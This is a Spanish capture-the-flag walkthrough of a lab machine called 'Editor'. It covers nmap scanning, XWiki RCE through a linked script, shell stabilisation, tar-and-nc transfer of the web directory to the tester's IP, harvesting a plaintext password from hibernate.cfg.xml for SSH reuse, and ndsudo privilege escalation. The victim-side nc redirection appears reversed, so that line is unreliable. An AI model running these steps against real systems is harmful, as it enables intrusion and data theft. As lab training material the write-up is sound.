Editor
Análisis de la máquina víctima
Escaneo con Nmap
Empiezo con un escaneo rápido para ver que tenemos delante.
nmap -p- --open --min-rate 5000 -vvv -sS -Pn -n 10.10.11.80 -oX targeted.xmlComo siempre, vamos a transformarlo en html y vamos a visualizarlo desde el navegador:
xsltproc targeted.xml > targeted.html
xdg-open targeted.html
Análisis detallado con Nmap
Una vez vemos lo que tenemos delante, es hora de ver más de cerca a lo que nos enfrentamos, para ello:
nmap -p22,80,8080 -sCV 10.10.11.80 -oX fullScan.xmlY lo convertivos a html:
xsltproc fullScan.xml > scan.html
xdg-open scan.html
Una vez ya tenemos todo, no hay que olvidarse de añadir la IP a /etc/hosts:
10.10.11.80 editor.htb wiki.editor.htb editorBusqueda de vulnerabilidades
Una vez ya tenemos un análisis general de lo que tenemos delante, es hora de buscar vulnerabilidades.
Mis ojos van directo a una cosa: xwiki 15.10.8.
Es conocida una vulnerabilidad que permite ejecutar codigo remoto en esta versión. Nos aprovecharemos de ello. Es por eso que haré uso de este script.
Únicamente deberemos estar en escucha en un puerto con nc y ya tendremos acceso a la máquina victima.
Un paso que considero imprescindible es tener una shell interactiva funcional, para ello, en la consola de la máquina víctima:
python3 -c 'import pty; pty.spawn("/bin/bash")'Seguido de Ctrl + Z para, en nuestra terminal, escribir:
stty raw -echo; fgY por último:
export TERM=xterm
stty columns 44 rows 128 #Deberemos ver el tamaño de nuestra terminal con stty sizeYa está, se puede trabajar más comodamente.
Obtener la bandera del usuario
En un primer momento, podemos observar que el usuario que poseemos se llama xwiki, y que también hay un usuario llamado oliver al cual, por el momento no tenemos acceso.
Nos ubicamos en el directorio /usr/lib/xwiki-jetty y es de los pocos lugares a los cuales tenemos acceso, por ende, tenemos que encontrar aquí lo que necesitamos. Para trabajar mejor, decido llevarme la carpeta comprimida a mi host.
En la máquina victima, desde /usr/lib:
tar -czvf /tmp/xwiki-jetty.tar.gz xwiki-jetty
nc 10.10.15.66 4444 > /tmp/xwiki-jetty.tar.gzMientras en el cliente:
nc -lnvp 4444 > ../../content/xwiki-jetty.tar.gz
tar -xzvf xwiki-jetty.tar.gz #En la ruta donde esté la carpeta comprimidaAhora ya podemos ver que puede ser interesante desde nuestro host.
El archivo que nos interesa está en /usr/lib/xwiki/WEB-INF, el cual es el hibernate.cfg.xml. Si filtramos por password:
cat /usr/lib/xwiki/WEB-INF/hibernate.cfg.xml | grep passwordObtenemos la siguiente salida:
<property name="hibernate.connection.password">theEd1t0rTeam99</property>
<property name="hibernate.connection.password">xwiki</property>
<property name="hibernate.connection.password">xwiki</property>
<property name="hibernate.connection.password"></property>
<property name="hibernate.connection.password">xwiki</property>
<property name="hibernate.connection.password">xwiki</property>
<property name="hibernate.connection.password"></property>Y theEd1t0rTeam99 tiene toda la pinta de ser la contraseña del usuario oliver.
Al estar el puerto de ssh abierto (lo hemos comprobado previamente con nmap), probamos a ver si hay suerte.
Y, efectivamente, si es. Ya podemos obtener la bandera:

Escalar privilegios
Una vez ya tenemos acceso al sistema, es hora de probar a conseguir la escalada de privilegios. Para ello, miramos que puede ser vulnerable de la siguiente manera:
find / -user root -perm -4000 -print 2>/dev/nullLa salida nos da como resultado lo típico, exceptuando una cosa: ndsudo. Es conocida una vulnerabilidad que permite escalar privilegios. Por ende, hago uso del siguiente exploit.
Seguimos los pasos y lo ejecutamos en la máquina victima.
Al final obtendremos la bandera del usuario root.
Resultado

Hecho por Iñaki